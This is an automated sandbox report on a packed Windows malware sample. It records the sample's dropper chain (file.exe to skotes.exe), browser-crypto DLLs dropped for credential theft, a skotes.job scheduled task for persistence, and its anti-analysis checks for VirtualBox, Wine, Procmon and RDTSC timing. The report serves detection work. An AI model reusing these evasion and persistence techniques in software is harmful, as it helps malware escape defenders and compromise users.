Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5892 --field-trial-handle=2008,i,4387113299904309838,11392531126203961630,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1792000 > 1048576

Source: file.exe

Static PE information: Raw size of cxqoexay is bigger than: 0x100000 < 0x19ba00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2707559377.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.970000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cxqoexay:EW;dlqtguyq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cxqoexay:EW;dlqtguyq:EW;.taggant:EW;
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Unpacked PE file: 22.2.DocumentsBFHDHJKKJD.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.530000.0.unpack :EW;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.530000.0.unpack :EW;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cztmcjxa:EW;vidbrugm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C68C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1c51b9 should be: 0x1c417d
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x318773 should be: 0x31c180
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: real checksum: 0x318773 should be: 0x31c180
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x318773 should be: 0x31c180

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: cxqoexay
Source: file.exe	Static PE information: section name: dlqtguyq
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: cztmcjxa
Source: random[1].exe.0.dr	Static PE information: section name: vidbrugm
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: cztmcjxa
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: vidbrugm
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: cztmcjxa
Source: skotes.exe.22.dr	Static PE information: section name: vidbrugm
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: babababa[1].exe.25.dr	Static PE information: section name: _RDATA
Source: babababa.exe.25.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B536 push ecx; ret	0_2_6C65B549
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003DD91C push ecx; ret	22_2_003DD92F
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Code function: 22_2_003D1359 push es; ret	22_2_003D135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0054D91C push ecx; ret	23_2_0054D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0054D91C push ecx; ret	25_2_0054D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0054DFC6 push ecx; ret	25_2_0054DFD9

Source: file.exe	Static PE information: section name: cxqoexay entropy: 7.955747079437547
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.091507073285944
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: section name: entropy: 7.091507073285944
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.091507073285944

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBFHDHJKKJD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\babababa[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006652001\babababa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBFHDHJKKJD.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6855F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6855F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC01D2 second address: BC01D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC01D6 second address: BC01DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFA43 second address: BBFA52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
